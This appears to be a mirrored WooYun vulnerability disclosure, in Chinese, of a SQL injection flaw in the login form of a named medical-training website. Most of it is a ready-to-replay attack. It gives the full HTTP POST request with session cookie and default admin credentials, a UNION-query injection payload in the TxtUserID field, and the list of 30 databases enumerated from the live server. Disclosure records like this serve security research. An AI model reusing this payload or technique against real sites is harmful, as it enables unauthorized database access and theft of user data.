乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-26: 细节已通知厂商并且等待厂商处理中 2015-10-09: 厂商已经主动忽略漏洞,细节向公众公开
RT
POST注入
POST /secure/login.aspx HTTP/1.1Host: standard.kjpt.91huayi.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://standard.kjpt.91huayi.com/secure/login.aspxCookie: Hm_lvt_b8b19370771d6914b2aac73158a962b8=1442995567,1442995928,1442996910,1443067637; Hm_lvt_ff0968fe442c4e89bf0c5108743a5f31=1442994303,1442995928,1443067672,1443158298; lzstat_uv=35798770783457191819|3596064; looyu_id=44824ed193e7b634c36641aba789a878db_30173%3A10; Hm_lpvt_ff0968fe442c4e89bf0c5108743a5f31=1443158302; ASP.NET_SessionId=ab5jskqojt5rlgnhlovyvjqkConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 315__VIEWSTATE=%2FwEPDwULLTEyNjk3MjY1MDBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMpVIyO0XCRgT65AMMVVDkAm8OYKK&__EVENTVALIDATION=%2FwEWBQKb9oF3ArPx3rwFAtWptpELAtLCmdMIAtLC1eQCUKYhtkU34d6abJ22vpv1jSsslnE%3D&TxtUserID=admin&TxtPassword=123456&ImageButton1.x=56&ImageButton1.y=9
TxtUserID 可注入
---Parameter: TxtUserID (POST) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: __VIEWSTATE=/wEPDwULLTEyNjk3MjY1MDBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMpVIyO0XCRgT65AMMVVDkAm8OYKK&__EVENTVALIDATION=/wEWBQKb9oF3ArPx3rwFAtWptpELAtLCmdMIAtLC1eQCUKYhtkU34d6abJ22vpv1jSsslnE=&TxtUserID=-7684' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(97)+CHAR(108)+CHAR(105)+CHAR(80)+CHAR(68)+CHAR(121)+CHAR(109)+CHAR(122)+CHAR(106)+CHAR(112)+CHAR(113)+CHAR(106)+CHAR(106)+CHAR(98)+CHAR(113)-- &TxtPassword=123456&ImageButton1.x=56&ImageButton1.y=9---
available databases [30]:[*] data_query[*] DS_HY_COMMON[*] gd_rsw[*] gd_sz_temp[*] HY_YAOQI[*] increment_data_guangdong[*] kjpt_back[*] kjpt_cme_score_commit_gd[*] kjpt_common[*] kjpt_data_upgrade_广东[*] kjpt_keyan[*] kjpt_mms[*] kjpt_order[*] kjpt_pass_back[*] kjpt_posdata_swap[*] kjpt_xh[*] master[*] MMS[*] model[*] msdb[*] personnel_sync_test[*] ReportServer[*] ReportServerTempDB[*] support_data[*] sxdk[*] tempdb[*] zknet[*] zyys_zj_exam[*] zyys_zj_train[*] zyys_zj_turn
7
一直都是你们的忠实粉丝,不知
危害等级:无影响厂商忽略
忽略时间:2015-10-09 17:26
漏洞Rank:4 (WooYun评价)
暂无